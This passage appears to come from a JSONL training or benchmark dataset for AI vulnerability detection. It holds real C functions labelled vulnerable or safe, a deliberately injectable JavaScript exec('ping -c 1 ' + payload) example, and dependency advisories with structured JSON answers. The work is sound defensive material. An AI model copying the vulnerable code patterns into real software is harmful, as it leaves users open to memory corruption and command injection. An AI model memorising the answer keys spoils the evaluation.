PERF_COUNT_SW_TASK_CLOCK:\\n\\t\\treturn -ENOENT;\\n\\n\\tdefault:\\n\\t\\tbreak;\\n\\t}\\n\\n\\tif (event_id >= PERF_COUNT_SW_MAX)\\n\\t\\treturn -ENOENT;\\n\\n\\tif (!event->parent) {\\n\\t\\tint err;\\n\\n\\t\\terr = swevent_hlist_get(event);\\n\\t\\tif (err)\\n\\t\\t\\treturn err;\\n\\n\\t\\tstatic_key_slow_inc(&perf_swevent_enabled[event_id]);\\n\\t\\tevent->destroy = sw_perf_event_destroy;\\n\\t}\\n\\n\\treturn 0;\\n}\\n\",\n \"change_summary\": \"perf: Treat attr.config as u64 in perf_swevent_init()\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-787", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "WORD32 ixheaacd_complex_anal_filt(ia_esbr_hbe_txposer_struct *ptr_hbe_txposer) {\n WORD32 idx;\n WORD32 anal_size = 2 * ptr_hbe_txposer->synth_size;\n WORD32 N = (10 * anal_size);\n\n for (idx = 0; idx < (ptr_hbe_txposer->no_bins >> 1); idx++) {\n WORD32 i, j, k, l;\n FLOAT32 window_output[640];\n FLOAT32 u[128], u_in[256], u_out[256];\n FLOAT32 accu_r, accu_i;\n const FLOAT32 *inp_signal;\n FLOAT32 *anal_buf;\n\n FLOAT32 *analy_cos_sin_tab = ptr_hbe_txposer->analy_cos_sin_tab;\n const FLOAT32 *interp_window_coeff = ptr_hbe_txposer->analy_wind_coeff;\n FLOAT32 *x = ptr_hbe_txposer->analy_buf;\n\n memset(ptr_hbe_txposer->qmf_in_buf[idx + HBE_OPER_WIN_LEN - 1], 0,\n TWICE_QMF_SYNTH_CHANNELS_NUM * sizeof(FLOAT32));\n\n inp_signal = ptr_hbe_txposer->ptr_input_buf +\n idx * 2 * ptr_hbe_txposer->synth_size + 1;\n anal_buf = &ptr_hbe_txposer->qmf_in_buf[idx + HBE_OPER_WIN_LEN - 1]\n [4 * ptr_hbe_txposer->k_start];\n\n for (i = N - 1; i >= anal_size; i--) {\n x[i] = x[i - anal_size];\n }\n\n for (i = anal_size - 1; i >= 0; i--) {\n x[i] = inp_signal[anal_size - 1 - i];\n }\n\n for (i = 0; i < N; i++) {\n window_output[i] = x[i] * interp_window_coeff[i];\n }\n\n for (i = 0; i < 2 * anal_size; i++) {\n accu_r = 0.0;\n for (j = 0; j < 5; j++) {\n accu_r = accu_r + window_output[i + j * 2 * anal_size];\n }\n u[i] = accu_r;\n }\n\n if (anal_size == 40) {\n for (i = 1; i < anal_size; i++) {\n FLOAT32 temp1 = u[i] + u[2 * anal_size - i];\n FLOAT32 temp2 = u[i] - u[2 * anal_size - i];\n u[i] = temp1;\n u[2 * anal_size - i] = temp2;\n }\n\n for (k = 0; k < anal_size; k++) {\n accu_r = u[anal_size];\n if (k & 1)\n accu_i = u[0];\n else\n accu_i = -u[0];\n for (l = 1; l < anal_size; l++) {\n accu_r = accu_r + u[0 + l] * analy_cos_sin_tab[2 * l + 0];\n accu_i = accu_i + u[2 * anal_size - l] * analy_cos_sin_tab[2 * l + 1];\n }\n analy_cos_sin_tab += (2 * anal_size);\n *anal_buf++ = (FLOAT32)accu_r;\n *anal_buf++ = (FLOAT32)accu_i;\n }\n } else {\n FLOAT32 *ptr_u = u_in;\n FLOAT32 *ptr_v = u_out;\n for (k = 0; k < anal_size * 2; k++) {\n\n *ptr_u++ = ((*analy_cos_sin_tab++) * u[k]);\n *ptr_u++ = ((*analy_cos_sin_tab++) * u[k]);\n }\n if (ixheaacd_cmplx_anal_fft != NULL)\n (*ixheaacd_cmplx_anal_fft)(u_in, u_out, anal_size * 2);\n else\n return -1;\n \n for (k = 0; k < anal_size / 2; k++) {\n *(anal_buf + 1) = -*ptr_v++;\n *anal_buf = *ptr_v++;\n\n anal_buf += 2;\n\n *(anal_buf + 1) = *ptr_v++;\n *anal_buf = -*ptr_v++;\n\n anal_buf += 2;\n }\n }\n }\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-787\",\n \"cwe_name\": \"Out-of-bounds Write\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-9496\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 76,\n 77\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"for_statement\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 46,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 46,\n \"col\": 4\n },\n {\n \"token\": \"anal_size\",\n \"ast_node\": \"identifier\",\n \"line\": 46,\n \"col\": 5\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 46,\n \"col\": 15\n },\n {\n \"token\": \"40\",\n \"ast_node\": \"number_literal\",\n \"line\": 46,\n \"col\": 18\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 46,\n \"col\": 20\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 46,\n \"col\": 22\n },\n {\n \"token\": \"for\",\n \"ast_node\": \"for\",\n \"line\": 47,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 47,\n \"col\": 5\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 47,\n \"col\": 6\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 47,\n \"col\": 8\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 47,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 47,\n \"col\": 11\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 47,\n \"col\": 13\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 47,\n \"col\": 15\n },\n {\n \"token\": \"anal_size\",\n \"ast_node\": \"identifier\",\n \"line\": 47,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 47,\n \"col\": 26\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 47,\n \"col\": 28\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 47,\n \"col\": 29\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 47,\n \"col\": 31\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 47,\n \"col\": 33\n },\n {\n \"token\": \"FLOAT32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 48,\n \"col\": 8\n },\n {\n \"token\": \"temp1\",\n \"ast_node\": \"identifier\",\n \"line\": 48,\n \"col\": 16\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 48,\n \"col\": 22\n },\n {\n \"token\": \"u\",\n \"ast_node\": \"identifier\",\n \"line\": 48,\n \"col\": 24\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 48,\n \"col\": 25\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 48,\n \"col\": 26\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 48,\n \"col\": 27\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 48,\n \"col\": 29\n },\n {\n \"token\": \"u\",\n \"ast_node\": \"identifier\",\n \"line\": 48,\n \"col\": 31\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 48,\n \"col\": 32\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 48,\n \"col\": 33\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 48,\n \"col\": 35\n },\n {\n \"token\": \"anal_size\",\n \"ast_node\": \"identifier\",\n \"line\": 48,\n \"col\": 37\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 48,\n \"col\": 47\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 48,\n \"col\": 49\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 48,\n \"col\": 50\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 48,\n \"col\": 51\n },\n {\n \"token\": \"FLOAT32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 49,\n \"col\": 8\n },\n {\n \"token\": \"temp2\",\n \"ast_node\": \"identifier\",\n \"line\": 49,\n \"col\": 16\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 49,\n \"col\": 22\n },\n {\n \"token\": \"u\",\n \"ast_node\": \"identifier\",\n \"line\": 49,\n \"col\": 24\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 49,\n \"col\": 25\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 49,\n \"col\": 26\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 49,\n \"col\": 27\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 49,\n \"col\": 29\n },\n {\n \"token\": \"u\",\n \"ast_node\": \"identifier\",\n \"line\": 49,\n \"col\": 31\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 49,\n \"col\": 32\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 49,\n \"col\": 33\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 49,\n \"col\": 35\n },\n {\n \"token\": \"anal_size\",\n \"ast_node\": \"identifier\",\n \"line\": 49,\n \"col\": 37\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 49,\n \"col\": 47\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 49,\n \"col\": 49\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 49,\n \"col\": 50\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 49,\n \"col\": 51\n },\n {\n \"token\": \"u\",\n \"ast_node\": \"identifier\",\n \"line\": 50,\n \"col\": 8\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 50,\n \"col\": 9\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 50,\n \"col\": 10\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 50,\n \"col\": 11\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 50,\n \"col\": 13\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int cirrus_hook_write_palette(CirrusVGAState * s, int reg_value)\n{\n if (!(s->sr[0x12] & CIRRUS_CURSOR_HIDDENPEL))\n\treturn CIRRUS_HOOK_NOT_HANDLED;\n s->dac_cache[s->dac_sub_index] = reg_value;\n if (++s->dac_sub_index == 3) {\n memcpy(&s->cirrus_hidden_palette[(s->dac_write_index & 0x0f) * 3],\n s->dac_cache, 3);\n /* XXX update cursor */\n\ts->dac_sub_index = 0;\n\ts->dac_write_index++;\n }\n return CIRRUS_HOOK_HANDLED;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "javascript", "cwe": "CWE-78", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following javascript code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "const { exec } = require('child_process');\nfunction ping(req, res) {\n const payload = req.body.payload;\n exec('ping -c 1 ' + payload, (e, out) => res.send(out));\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-78\",\n \"cwe_name\": \"OS Command Injection\",\n \"title\": \"Command injection via child_process.exec\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"program\",\n \"function_declaration\",\n \"statement_block\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"exec\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"'\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"ping -c 1 \",\n \"ast_node\": \"string_fragment\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"'\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"payload\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 31\n },\n {\n \"token\": \"e\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 32\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 38\n },\n {\n \"token\": \"=>\",\n \"ast_node\": \"=>\",\n \"line\": 4,\n \"col\": 40\n },\n {\n \"token\": \"res\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 43\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 46\n },\n {\n \"token\": \"send\",\n \"ast_node\": \"property_identifier\",\n \"line\": 4,\n \"col\": 47\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 51\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 52\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 55\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 56\n }\n ],\n \"explanation\": \"User input is interpolated into a shell command string executed by exec().\",\n \"remediation\": \"Avoid shell invocation; pass arguments as an array to exec APIs and validate/allow-list inputs.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int irda_getname(struct socket *sock, struct sockaddr *uaddr,\n\t\t\tint *uaddr_len, int peer)\n{\n\tstruct sockaddr_irda saddr;\n\tstruct sock *sk = sock->sk;\n\tstruct irda_sock *self = irda_sk(sk);\n\n\tif (peer) {\n\t\tif (sk->sk_state != TCP_ESTABLISHED)\n\t\t\treturn -ENOTCONN;\n\n\t\tsaddr.sir_family = AF_IRDA;\n\t\tsaddr.sir_lsap_sel = self->dtsap_sel;\n\t\tsaddr.sir_addr = self->daddr;\n\t} else {\n\t\tsaddr.sir_family = AF_IRDA;\n\t\tsaddr.sir_lsap_sel = self->stsap_sel;\n\t\tsaddr.sir_addr = self->saddr;\n\t}\n\n\tIRDA_DEBUG(1, \"%s(), tsap_sel = %#x\\n\", __func__, saddr.sir_lsap_sel);\n\tIRDA_DEBUG(1, \"%s(), addr = %08x\\n\", __func__, saddr.sir_addr);\n\n\t/* uaddr_len come to us uninitialised */\n\t*uaddr_len = sizeof (struct sockaddr_irda);\n\tmemcpy(uaddr, &saddr, *uaddr_len);\n\n\treturn 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int write_exit_mmio(struct kvm_vcpu *vcpu, gpa_t gpa,\n\t\t\t void *val, int bytes)\n{\n\tmemcpy(vcpu->mmio_data, val, bytes);\n\tmemcpy(vcpu->run->mmio.data, vcpu->mmio_data, 8);\n\treturn X86EMUL_CONTINUE;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"linux\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: bzip2\nInstalled version: <1.0.2-6\nSummary: Race condition in bzip2 1.0.2 and earlier allows local users to modify permissions of arbitrary files via a hard link attack on a file while it is being decompressed, whose permissions are changed by ...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2005-0953\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"bzip2\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.0.2-6\",\n \"fixed_version\": \"1.0.2-6\",\n \"finding\": \"Race condition in bzip2 1.0.2 and earlier allows local users to modify permissions of arbitrary files via a hard link attack on a file while it is being decompressed, whose permissions are changed by ...\",\n \"remediation\": \"Upgrade bzip2 to 1.0.2-6 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: apache-airflow\nInstalled version: 3.0.0\nSummary: Apache Airflow's `JWTRefreshMiddleware` set the JWT auth cookie without the `Secure` flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy /...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-171\",\n \"cve\": \"CVE-2026-41017\",\n \"aliases\": [\n \"BIT-airflow-2026-41017\",\n \"CVE-2026-41017\",\n \"GHSA-95v7-h9j5-gvjr\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"apache-airflow\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=3.0.0, <3.2.2\",\n \"fixed_version\": \"3.2.2\",\n \"finding\": \"Apache Airflow's `JWTRefreshMiddleware` set the JWT auth cookie without the `Secure` flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy /...\",\n \"remediation\": \"Upgrade apache-airflow to 3.2.2 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-311", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: CoreWCF.Primitives\nInstalled version: 1.9.0\nSummary: CoreWCF: SPNEGO SecurityContextToken proof key wrapped without confidentiality", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-2288-8h3r-cqgg\",\n \"cve\": \"CVE-2026-54784\",\n \"aliases\": [\n \"CVE-2026-54784\"\n ],\n \"cwe\": \"CWE-311\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"CoreWCF.Primitives\",\n \"severity\": \"high\",\n \"affected_versions\": \">=1.9.0, <1.9.1\",\n \"fixed_version\": \"1.9.1\",\n \"finding\": \"CoreWCF: SPNEGO SecurityContextToken proof key wrapped without confidentiality\",\n \"remediation\": \"Upgrade CoreWCF.Primitives to 1.9.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:11\nManifest: distro package manager (apt/apk)\nPackage: libssh\nInstalled version: <0.9.8-0+deb11u1\nSummary: libssh - security update", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DSA-5591-1\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:11\",\n \"package\": \"libssh\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <0.9.8-0+deb11u1\",\n \"fixed_version\": \"0.9.8-0+deb11u1\",\n \"finding\": \"libssh - security update\",\n \"remediation\": \"Upgrade libssh to 0.9.8-0+deb11u1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-306", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/kopia/kopia\nInstalled version: <0.23.0\nSummary: Kopia: RCE via SSH ProxyCommand Injection", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-2q4c-3mrw-63c3\",\n \"cve\": \"CVE-2026-45695\",\n \"aliases\": [\n \"CVE-2026-45695\",\n \"GO-2026-5009\"\n ],\n \"cwe\": \"CWE-306\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/kopia/kopia\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=0, <0.23.0\",\n \"fixed_version\": \"0.23.0\",\n \"finding\": \"Kopia: RCE via SSH ProxyCommand Injection\",\n \"remediation\": \"Upgrade github.com/kopia/kopia to 0.23.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/docker/docker\nInstalled version: 1.3.1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/docker/docker\",\n \"installed_version\": \"1.3.1\",\n \"note\": \"github.com/docker/docker 1.3.1 is at or above the fixed version for GO-2022-0636; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int bdrv_create_file(const char* filename, QEMUOptionParameter *options,\n Error **errp)\n{\n BlockDriver *drv;\n Error *local_err = NULL;\n int ret;\n\n drv = bdrv_find_protocol(filename, true);\n if (drv == NULL) {\n error_setg(errp, \"Could not find protocol for file '%s'\", filename);\n return -ENOENT;\n }\n\n ret = bdrv_create(drv, filename, options, &local_err);\n if (local_err) {\n error_propagate(errp, local_err);\n }\n return ret;\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-20", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: cryptography\nInstalled version: 1.9.0\nSummary: PyCA Cryptography vulnerable to GCM tag forgery", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-fcf9-3qw3-gxmj\",\n \"cve\": \"CVE-2018-10903\",\n \"aliases\": [\n \"CVE-2018-10903\",\n \"PYSEC-2018-52\"\n ],\n \"cwe\": \"CWE-20\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"cryptography\",\n \"severity\": \"high\",\n \"affected_versions\": \">=1.9.0, <2.3\",\n \"fixed_version\": \"2.3\",\n \"finding\": \"PyCA Cryptography vulnerable to GCM tag forgery\",\n \"remediation\": \"Upgrade cryptography to 2.3 or later.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-95", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.xwiki.platform:xwiki-platform-administration-ui\nInstalled version: 1.5M2\nSummary: xwiki-platform-administration-ui vulnerable to privilege escalation", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-rfh6-mg6h-h668\",\n \"cve\": \"CVE-2023-29511\",\n \"aliases\": [\n \"CVE-2023-29511\"\n ],\n \"cwe\": \"CWE-95\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.xwiki.platform:xwiki-platform-administration-ui\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=1.5M2, <13.10.11\",\n \"fixed_version\": \"13.10.11\",\n \"finding\": \"xwiki-platform-administration-ui vulnerable to privilege escalation\",\n \"remediation\": \"Upgrade org.xwiki.platform:xwiki-platform-administration-ui to 13.10.11 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int atusb_read_reg(struct atusb *atusb, uint8_t reg)\n {\n \tstruct usb_device *usb_dev = atusb->usb_dev;\n \tint ret;\n \tuint8_t value;\n \n \tdev_dbg(&usb_dev->dev, \"atusb: reg = 0x%x\\n\", reg);\n \tret = atusb_control_msg(atusb, usb_rcvctrlpipe(usb_dev, 0),\n \t\t\t\tATUSB_REG_READ, ATUSB_REQ_FROM_DEV,\n\t\t\t\t0, reg, &value, 1, 1000);\n\treturn ret >= 0 ? value : ret;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-5548\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 10,\n 11\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"expression_statement\",\n \"assignment_expression\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"atusb_control_msg\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 25\n },\n {\n \"token\": \"atusb\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 26\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 31\n },\n {\n \"token\": \"usb_rcvctrlpipe\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 33\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 48\n },\n {\n \"token\": \"usb_dev\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 49\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 56\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 8,\n \"col\": 58\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 59\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 60\n },\n {\n \"token\": \"ATUSB_REG_READ\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 9,\n \"col\": 19\n },\n {\n \"token\": \"ATUSB_REQ_FROM_DEV\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 21\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 9,\n \"col\": 39\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 10,\n \"col\": 4\n 